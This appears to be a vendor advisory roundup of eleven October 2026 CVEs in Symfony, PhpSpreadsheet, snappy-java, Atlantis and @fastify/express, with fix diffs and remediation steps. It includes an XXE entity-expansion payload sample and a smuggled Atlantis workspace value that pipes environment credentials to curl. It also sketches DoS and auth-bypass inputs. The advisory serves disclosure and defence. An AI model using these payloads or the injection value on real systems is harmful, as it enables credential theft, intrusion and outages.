CVE
CVE-2026-112362, CVE-2026-116676, CVE-2026-109413, CVE-2026-108082, CVE-2026-108357, CVE-2026-108358, CVE-2026-108359, CVE-2026-108360, CVE-2026-93451, CVE-2026-108106, CVE-2026-116590
CWE
CWE-78, CWE-611, CWE-122, CWE-787, CWE-863, CWE-1333, CWE-674, CWE-918
Affected Surface
- Packagist `symfony/symfony`, `symfony/yaml` (`< 5.4.54`, `< 6.4.45`, `< 7.4.18`, `< 8.1.6` for `CVE-2026-109413`), and `symfony/http-foundation` (`< 5.4.54`, `< 6.4.48`, `< 7.4.21`, `< 8.1.9` for `CVE-2026-108082`)
- Packagist `phpoffice/phpspreadsheet` versions `< 1.30.7`, `>= 2.0.0, < 2.1.19`, `>= 2.2.0, < 2.4.8`, `>= 3.3.0, < 3.10.8`, and `>= 4.0.0, < 5.10.0` (`CVE-2026-108357`, `CVE-2026-108358`, `CVE-2026-108359`, `CVE-2026-108360`)
- Maven Central `org.xerial.snappy:snappy-java` versions `< 1.1.10.9` (`CVE-2026-93451`, `CVE-2026-108106`, `CVE-2026-116590`)
- Go / GitHub `github.com/runatlantis/atlantis` versions `>= 0.4.0, < 0.47.1` (`CVE-2026-116676` / `GHSA-rjh2-4xgw-p2hj`, CVSS 8.8 High)
- npm `@fastify/express` versions `>= 4.0.5, <= 4.0.8` when Fastify is configured with `ignoreDuplicateSlashes: true` (`CVE-2026-112362` / `GHSA-6h42-57hq-9746`, CVSS 9.1 Critical)
TL;DR
On 27 October 2026, 11 vulnerabilities were disclosed across five backend, data-processing, and CI/CD packages in Packagist, Maven Central, Go, and npm:
- Symfony (
CVE-2026-109413/GHSA-2v3c-qxhr-7vpvandCVE-2026-108082/GHSA-r925-mgvr-h9cc, both High):CVE-2026-109413(symfony/yaml):Yaml\Parser::lexInlineStructure()recursed throughlexInlineMapping()andlexInlineSequence()for every{and[beforeInline::parse()ever enteredParserState’smaxNestingLevelcheck. A single ~70 KB payload of nested[brackets exhausted a 128 MB stack/memory limit and crashed the PHP worker, including on unauthenticated endpoints using#[MapRequestPayload]without a restrictedacceptFormat.CVE-2026-108082(symfony/http-foundation):HeaderUtils::split()matched header tokens with[^"...]+(which also matched spaces) followed by a(?<!\s)lookbehind. BecauseHeaderBagcallsHeaderUtils::split()on the incomingCache-Controlheader whenever aRequestis constructed, a single unauthenticated HTTP request with 17 spaces before a comma burned ~813 ms of CPU, and 18+ spaces hitpcre.backtrack_limit, causingsplit()to return[]and silently drop everyCache-Controldirective. Note that the initial fix in6.4.46,7.4.19, and8.1.7broke splitting on whitespace separators (HeaderUtils::split('foo bar', ' ')), so teams should upgrade directly to5.4.54,6.4.48,7.4.21, or8.1.9.
- PHPOffice PhpSpreadsheet (
CVE-2026-108357,CVE-2026-108358,CVE-2026-108359, andCVE-2026-108360, fixed in5.10.0,3.10.8,2.4.8,2.1.19, and1.30.7):CVE-2026-108357(GHSA-rxj4-h86g-25gc, High) andCVE-2026-108358(GHSA-3x94-m842-937c, High): Two distinct bypasses ofXmlScanner::scan()enabling XML entity expansion (DoS on all PHP versions; XXE/SSRF whenLIBXML_NOENTis active or on older PHP). InReader\Xml,scan()ran twice and executed theunentity()(html_entity_decode()) callback after the<!DOCTYPEregex check on each pass, so double-encoding<as&#60;!DOCTYPEbecame<!DOCTYPEafter pass 1 and<!DOCTYPEafter pass 2 (CVE-2026-108357). InReader\Xlsx,XmlScannerstripped a UTF-8 BOM without verifying that the XML declaration also declaredencoding="UTF-8", allowing an attacker to declareencoding="ISO-2022-JP"and interleave0x1Bescape sequences (<!DOCTYPEbroken up by ESC bytes) that bypassedXmlScanner’s\0*-only regex beforelibxmlstripped the escape sequences during charset conversion (CVE-2026-108358).CVE-2026-108359(GHSA-j2w7-387v-m2rq, High) andCVE-2026-108360(GHSA-2phh-27fw-q4gc, Medium):Reader\Odscasttable:number-rows-repeatedandtable:number-columns-repeatedto(int)without an upper bound, letting a 1.4 KB.odsfile materialize millions of cells and crash the PHP process with an OOM error; andWorksheet\Drawing::setPath()checked theisWhitelistedcallback on the initial external image URL but leftfollow_location => 1onfile_get_contents(), allowing an HTTP302redirect to an internal SSRF target.
- xerial
snappy-java< 1.1.10.9(CVE-2026-93451, CVSS 7.5 High;CVE-2026-108106, CVSS 7.5 High; andCVE-2026-116590, CVSS 5.9 Medium):CVE-2026-93451(GHSA-gwq9-9ffj-mvrv):Snappy.uncompressIntArray(),uncompressLongArray(),uncompressDoubleArray(), and sibling typed-array methods allocated the Java output array asuncompressedByteLength / elementSize(truncating any remainder), and then passed the unaligned byte length to the native JNI decompressor, writing up to 7 bytes past the end of the Java heap array.CVE-2026-108106(GHSA-q233-g92q-qxp6) andCVE-2026-116590(GHSA-xqrx-qh46-34m7):Snappy.uncompressedLength()trusted the varint header at the start of a compressed buffer without checking whether a Snappy stream of the input’s compressed size could ever expand to that length (at most $\frac643\times$ per pass), letting a few bytes trigger a 2 GB allocation orNegativeArraySizeException; andSnappy.arrayCopy()passed caller offsets and lengths to nativememcpywithout bounds checks.
- Atlantis
< 0.47.1(CVE-2026-116676/GHSA-rjh2-4xgw-p2hj, CVSS 8.8 High) and@fastify/express4.0.5..4.0.8(CVE-2026-112362/GHSA-6h42-57hq-9746, CVSS 9.1 Critical):CVE-2026-116676: When running Terraform commands on a pull request, Atlantis took theworkspacefield from repo-levelatlantis.yaml, joined the command arguments withstrings.Join(args, " "), and executed them viaexec.Command("sh", "-c", ...). Becauseraw.Project.Validate()only rejected..,/, and\, a contributor opening an eligible PR could put shell metacharacters insideworkspaceinatlantis.yamlto execute arbitrary commands as the Atlantis service account duringplan.CVE-2026-112362: When Fastify ran with the non-defaultignoreDuplicateSlashes: trueoption,@fastify/express4.0.5through4.0.8normalized duplicate slashes on an HTTP/1.1 absolute-form request target (GET http://host/admin HTTP/1.1$\rightarrow$http:/host/admin) before matching path-scoped Express middleware (app.use('/admin', authMiddleware)), causing Express to skip the auth middleware while Fastify’s router still routed the request to/admin.
Affected packages and projects
| Ecosystem | Package | CVE / Advisory | Severity | Affected versions | Fixed version | Vulnerable component |
|---|---|---|---|---|---|---|
| npm | @fastify/express | CVE-2026-112362 (GHSA-6h42-57hq-9746) | CVSS 9.1 Critical | >= 4.0.5, <= 4.0.8 (with ignoreDuplicateSlashes: true) | 4.0.9 | Path-scoped Express middleware URL normalization on absolute-form targets |
| Go / GitHub | github.com/runatlantis/atlantis | CVE-2026-116676 (GHSA-rjh2-4xgw-p2hj) | CVSS 8.8 High | >= 0.4.0, < 0.47.1 | 0.47.1 | server/core/config/raw/project.go, server/core/runtime/models/exec.go (sh -c) |
| Packagist | symfony/symfony, symfony/yaml | CVE-2026-109413 (GHSA-2v3c-qxhr-7vpv) | High | < 5.4.54, 6.x < 6.4.45, 7.x < 7.4.18, 8.x < 8.1.6 | 5.4.54, 6.4.45, 7.4.18, 8.1.6 | src/Symfony/Component/Yaml/Parser.php (lexInlineStructure) |
| Packagist | symfony/symfony, symfony/http-foundation | CVE-2026-108082 (GHSA-r925-mgvr-h9cc) | High | < 5.4.54, 6.x < 6.4.46 (6.4.48 for space fix), 7.x < 7.4.19 (7.4.21), 8.x < 8.1.7 (8.1.9) | 5.4.54, 6.4.48, 7.4.21, 8.1.9 | src/Symfony/Component/HttpFoundation/HeaderUtils.php (HeaderUtils::split) |
| Packagist | phpoffice/phpspreadsheet | CVE-2026-108357 (GHSA-rxj4-h86g-25gc) | High | 3.3.0..3.10.7, 4.0.0..5.9.0 | 3.10.8, 5.10.0 | src/PhpSpreadsheet/Reader/Xml.php (Xml::unentity double-decode TOCTOU) |
| Packagist | phpoffice/phpspreadsheet | CVE-2026-108358 (GHSA-3x94-m842-937c), CVE-2026-108359 (GHSA-j2w7-387v-m2rq), CVE-2026-108360 (GHSA-2phh-27fw-q4gc) | High / Medium | < 1.30.7, 2.0..2.1.18, 2.2..2.4.7, 3.3..3.10.7, 4.0..5.9.0 | 1.30.7, 2.1.19, 2.4.8, 3.10.8, 5.10.0 | XmlScanner::toUtf8, Reader\Ods (checkRowsRepeated), Worksheet\Drawing::setPath |
| Maven | org.xerial.snappy:snappy-java | CVE-2026-93451 (GHSA-gwq9-9ffj-mvrv), CVE-2026-108106 (GHSA-q233-g92q-qxp6), CVE-2026-116590 (GHSA-xqrx-qh46-34m7) | CVSS 7.5 High / 5.9 Medium | < 1.1.10.9 | 1.1.10.9 | src/main/java/org/xerial/snappy/Snappy.java (uncompress*Array, uncompressedLength, arrayCopy) |
Technical analysis
1. Symfony CVE-2026-109413 (Yaml\Parser) and CVE-2026-108082 (HeaderUtils::split)
In Symfony\Component\Yaml\Parser, block-level sequences and mappings called $state->enterNestingLevel() to enforce Parser::DEFAULT_MAX_NESTING_LEVEL (128), and Inline::parse() enforced the same limit after lexing finished. However, Parser::lexInlineStructure() self-recursed on every nested [ or { before handing the token string to Inline::parse(). Commit 2a8bf9c58d wraps doLexInlineStructure() in $state->enterNestingLevel() / leaveNestingLevel():
--- a/src/Symfony/Component/Yaml/Parser.php
+++ b/src/Symfony/Component/Yaml/Parser.php
@@ -1274,6 +1274,18 @@ private function lexInlineSequence(int &$cursor = 0): string
private function lexInlineStructure(int &$cursor, string $closingTag): string
+ {
+ $state = $this->getState();
+ $state->enterNestingLevel($this->getRealCurrentLineNb() + 1, $this->currentLine, $this->filename);
+
+ try {
+ return $this->doLexInlineStructure($cursor, $closingTag);
+ } finally {
+ $state->leaveNestingLevel();
+ }
+ }
In Symfony\Component\HttpFoundation\HeaderUtils::split() (CVE-2026-108082), the regex used to split comma/semicolon-separated HTTP headers (invoked automatically by HeaderBag on Cache-Control whenever a Request is created) allowed its # token branch ([^"'.$quotedSeparators.']+) to consume whitespace inside an outer (...)+ loop terminated by (?<!\s). When a Cache-Control header contained a run of $N$ spaces followed by a separator that failed to match the tail, PCRE backtracked across $2^N$ partitions of the whitespace run. Commits 343a1772ce and 9ffa802e5d make the quantifiers possessive (++) and match non-separator whitespace ([^\S'.$quotedSeparators.']++) only when followed by more token characters ((?!['.$quotedSeparators.']|$)).
2. PhpSpreadsheet 5.10.0 / 3.10.8: XmlScanner TOCTOU (CVE-2026-108357) and ISO-2022 BOM mismatch (CVE-2026-108358)
PhpSpreadsheet’s XmlScanner::scan() blocks XML External Entity (XXE) and quadratic entity-expansion (<!ENTITY) payloads before passing XML strings to simplexml_load_string() or XMLReader. Two advisories published on 27 October showed how crafted spreadsheets slipped <!DOCTYPE past XmlScanner::scan():
- Double-encoded numeric entity TOCTOU in
Reader\Xml(CVE-2026-108357): When loading a SpreadsheetML.xmlfile,Reader\XmlregisteredXml::unentity()as a scanner callback and invokedXmlScanner::scan()twice. Insidescan(), the regex check for<!DOCTYPEran before invoking theunentity()callback. Previously,Xml::unentity()protected named XML entities (&(amp|lt|gt|quot|apos);) and ranhtml_entity_decode()on everything else, including numeric entities (&$\rightarrow$&and<$\rightarrow$<):
On scan 1, the raw string contained<?xml version="1.0"?> <?mso-application progid="Excel.Sheet"?> &#60;!DOCTYPE Workbook [ &#60;!ENTITY big "AAAAA..."> ]>&#60;!DOCTYPE, which passed the<!DOCTYPEregex check; thenunentity()decoded&into&, producing<!DOCTYPE. On scan 2,<!DOCTYPEagain passed the regex check at the top ofscan(), andunentity()at the bottom of scan 2 decoded<into<, handing a live<!DOCTYPE Workbook [ <!ENTITY ...> ]>declaration directly tosimplexml_load_string(). - UTF-8 BOM +
ISO-2022-JPescape interleaving inReader\Xlsx(CVE-2026-108358): InXmlScanner::toUtf8(), if an XML entry inside an.xlsxarchive started with a 3-byte UTF-8 BOM (\xEF\xBB\xBF),toUtf8()stripped the BOM and assumed the payload was UTF-8 without checking theencoding="..."attribute in the XML prolog. By starting the file with a UTF-8 BOM, declaring<?xml version="1.0" encoding="ISO-2022-JP"?>, and inserting ISO-2022 escape sequences (0x1B 0x28 0x42) between the letters of<!DOCTYPE, the payload bypassedXmlScanner’s/\0*<\0*!\0*D\0*O\0*C\0*T\0*Y\0*P\0*E\0*/regex, after whichlibxmlhonoredencoding="ISO-2022-JP", consumed the0x1Bescape sequences, and parsed the<!DOCTYPEentity definitions.
Commit 89f455c133 fixes both bypasses:
--- a/src/PhpSpreadsheet/Reader/Security/XmlScanner.php
+++ b/src/PhpSpreadsheet/Reader/Security/XmlScanner.php
@@ -56,6 +56,11 @@ private function toUtf8(string $xml): string
if (substr($xml, 0, Reader\Csv::UTF8_BOM_LEN) === Reader\Csv::UTF8_BOM) {
+ if (preg_match(self::ENCODING_PATTERN, $xml, $matches) === 1) {
+ if (strtolower($matches[2]) !== 'utf-8') {
+ throw new Reader\Exception("BOM says UTF-8 but encoding says {$matches[2]}");
+ }
+ }
$xml = substr($xml, Reader\Csv::UTF8_BOM_LEN);
}
--- a/src/PhpSpreadsheet/Reader/Xml.php
+++ b/src/PhpSpreadsheet/Reader/Xml.php
@@ -53,9 +54,14 @@ public static function unentity(string $contents): string
- $contents = preg_replace('/&(amp|lt|gt|quot|apos);/', "\u{fffe}\u{feff}\$1;", trim($contents)) ?? $contents;
+ $contents = str_replace("\u{fffe}", "\u{fffd}", $contents);
+ // use positive lookahead to "protect" valid xml entities
+ $contents = Preg::replace('/&(?=(?:amp|lt|gt|quot|apos|#[0-9]+|#x[0-9a-fA-F]+);)/', "\u{fffe}", trim($contents));
$contents = html_entity_decode($contents, ENT_NOQUOTES | ENT_SUBSTITUTE | ENT_HTML401, 'UTF-8');
- $contents = str_replace("\u{fffe}\u{feff}", '&', $contents);
+ $contents = str_replace(['&', "\u{fffe}"], ['&', '&'], $contents);
In the same release (5.10.0 / 3.10.8 / 2.4.8 / 2.1.19 / 1.30.7), commit 2de29384aa bounds table:number-rows-repeated (<= 1,048,576) and table:number-columns-repeated (<= 16,384) in Reader\Ods (CVE-2026-108359), and commit 94590951d7 adds 'follow_location' => 0 to the HTTP stream context in Worksheet\Drawing::setPath() (CVE-2026-108360).
3. snappy-java 1.1.10.9: JNI typed-array heap overflow (CVE-2026-93451) and length validation (CVE-2026-108106, CVE-2026-116590)
In org.xerial.snappy:snappy-java before 1.1.10.9, Snappy.uncompressCharArray(), uncompressShortArray(), uncompressIntArray(), uncompressLongArray(), uncompressFloatArray(), and uncompressDoubleArray() read the uncompressed byte length dlen from the Snappy header, allocated a Java primitive array of dlen / elementSize elements (for example new long[dlen / 8]), and then called impl.rawUncompress(), which wrote all dlen bytes into the array via JNI pointers. Whenever dlen was not a multiple of the element size (for example dlen = 15 on uncompressLongArray(), which allocated new long[1] = 8 bytes), the C++ decompressor wrote up to 7 bytes past the end of the Java heap array.
Commits 943c6043a2 (PR #739) and 2d7ca71c08 (PR #741) in snappy-java 1.1.10.9:
- Throw
SnappyIOExceptioninuncompress*Arrayifdlen % elementByteSize != 0(CVE-2026-93451). - Bound
Snappy.uncompressedLength()against the theoretical maximum Snappy expansion ratio of $\frac643\times$ the compressed input size so a tiny header cannot trigger a 2 GB allocation (CVE-2026-108106). - Validate
srcanddestoffsets and byte lengths inSnappy.arrayCopy(),SnappyInputStream, andSnappyOutputStreambefore calling nativememcpy(CVE-2026-116590), and replace recursive skippable-chunk handling inSnappyFramedInputStream.ensureBuffer()with an iterativewhile (true)loop.
4. Atlantis 0.47.1 (CVE-2026-116676) and @fastify/express 4.0.9 (CVE-2026-112362)
- Atlantis
workspaceshell injection (CVE-2026-116676, CVSS 8.8 High): Inrunatlantis/atlantis0.4.0through0.47.0,raw.Project.Validate()inserver/core/config/raw/project.goonly checkedstrings.Contains(ws, "..") || strings.ContainsAny(ws, "/\\")on theworkspacename in repo-levelatlantis.yaml, andLocalExec.CombinedOutput()inserver/core/runtime/models/exec.goexecuted built commands viaexec.Command("sh", "-c", strings.Join(args, " ")). An attacker opening an eligible pull request could setworkspace: "default; env | curl ..."inatlantis.yamlto run arbitrary shell commands with the Atlantis server’s cloud and VCS credentials duringatlantis plan. Commits8dd22b4d0aandf04df0d53f(v0.47.1) introduceNewArgvCommandRunner()(exec.Command(argv[0], argv[1:]...)withoutsh -c), restrict environment-variable expansion to operator-configuredextra_args(ExpandableArgs), and enforcevalid.ValidateWorkspaceName()acrossatlantis.yaml, HCLworkspaces, API requests, and PR comments. @fastify/expressabsolute-form URI middleware bypass (CVE-2026-112362, CVSS 9.1 Critical): In@fastify/express4.0.5through4.0.8, when Fastify was initialized with the non-defaultignoreDuplicateSlashes: truerouter option, duplicate-slash normalization collapsed the://in an HTTP/1.1 absolute-form request target (GET http://example.com/admin HTTP/1.1) before Express matched path-scoped middleware (use('/admin', ...)). Express saw a path that did not start with/adminand skipped the authentication or rate-limiting middleware, while Fastify’s router resolved the request to/adminand executed the protected route handler. Fixed in@fastify/express4.0.9.
Detection and remediation
# 1. Check PHP Composer lockfiles for vulnerable Symfony and PhpSpreadsheet versions
rg -n -A 3 '"name":\s*"(symfony/(symfony|yaml|http-foundation)|phpoffice/phpspreadsheet)"' composer.lock 2>/dev/null
# 2. Check Java Maven/Gradle files for org.xerial.snappy:snappy-java < 1.1.10.9
rg -n 'snappy-java' pom.xml build.gradle* gradle/libs.versions.toml 2>/dev/null
# 3. Check Go manifests / container images for Atlantis < 0.47.1 and npm lockfiles for @fastify/express
rg -n 'runatlantis/atlantis' go.mod Dockerfile* *.y*ml 2>/dev/null
rg -n '"@fastify/express"' package.json package-lock.json pnpm-lock.yaml yarn.lock 2>/dev/null
- Upgrade Symfony and PhpSpreadsheet: Upgrade
symfony/symfony,symfony/yaml, andsymfony/http-foundationto5.4.54,6.4.48,7.4.21, or8.1.9, and upgradephpoffice/phpspreadsheetto5.10.0,3.10.8,2.4.8,2.1.19, or1.30.7. - Upgrade
snappy-java, Atlantis, and@fastify/express: Bumporg.xerial.snappy:snappy-javato1.1.10.9(including where pulled transitively by Kafka, Spark, Parquet, or Hadoop), upgrade Atlantis deployments tov0.47.1, and upgrade@fastify/expressto4.0.9(or move authentication checks into a FastifypreHandlerhook).
Timeline
- 2026-10-23 to 2026-10-26: Maintainers tag patched releases across
xerial/snappy-java(v1.1.10.9),PHPOffice/PhpSpreadsheet(5.10.0,3.10.8,2.4.8,2.1.19,1.30.7),symfony/symfony(v5.4.54,v6.4.48,v7.4.21,v8.1.9),runatlantis/atlantis(v0.47.1), and@fastify/express(4.0.9). - 2026-10-27 (
12:17to19:01 UTC): NVD and the GitHub Advisory Database publishCVE-2026-112362(@fastify/express),CVE-2026-109413andCVE-2026-108082(Symfony),CVE-2026-108357..108360(PhpSpreadsheet),CVE-2026-93451/CVE-2026-108106/CVE-2026-116590(snappy-java), andCVE-2026-116676(Atlantis).
From research to remediation
Check whether this pattern exists in your codebase
Turn this research into a remediation workflow. Scan dependencies and package manifests for similar supply-chain risk, then prioritize fixes with reachability context.
References
- Symfony advisory GHSA-2v3c-qxhr-7vpv and commit 2a8bf9c58d (CVE-2026-109413: YAML inline lexer recursion)
- Symfony advisory GHSA-r925-mgvr-h9cc and commits 343a1772ce / 9ffa802e5d (CVE-2026-108082: HeaderUtils::split ReDoS)
- PhpSpreadsheet advisories GHSA-rxj4-h86g-25gc, GHSA-3x94-m842-937c, GHSA-j2w7-387v-m2rq, and GHSA-2phh-27fw-q4gc
- xerial/snappy-java advisories GHSA-gwq9-9ffj-mvrv, GHSA-q233-g92q-qxp6, and GHSA-xqrx-qh46-34m7 (v1.1.10.9)
- Atlantis commits 8dd22b4d0a and f04df0d53f (CVE-2026-116676: workspace sh -c command injection)
- NVD: CVE-2026-112362 (@fastify/express ignoreDuplicateSlashes middleware bypass)